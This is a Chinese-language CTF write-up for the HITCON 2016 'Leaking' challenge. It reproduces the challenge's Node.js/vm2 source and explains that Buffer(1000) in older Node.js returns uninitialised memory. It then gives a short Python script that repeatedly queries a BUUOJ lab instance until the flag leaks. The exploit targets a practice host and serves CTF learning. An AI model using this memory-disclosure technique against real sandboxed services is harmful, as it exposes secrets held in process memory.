[HITCON 2016]Leaking

源码

"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
    VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
    res.header("Content-Type", "text/plain");

    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
    if (req.query.data && req.query.data.length <= 12) {
        var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});

app.listen(3000, function() {
    console.log("listening on port 3000!");
});

解题步骤

在较早一点的node.js版本中 (8.0 之前)，当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer，并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

由于可以对传入的参数在vm中执行，所以可以用Buffer来获取到内存
脚本：

import requests
url = 'http://ca97c47b-47aa-4ec4-8bd0-e3ed52487f12.node4.buuoj.cn:81/?data=Buffer(1000)'
response = ''
while 'flag' not in response:
        req = requests.get(url)
        response = req.text
        print(req.status_code)
        if 'flag{' in response:
            print(response)
            break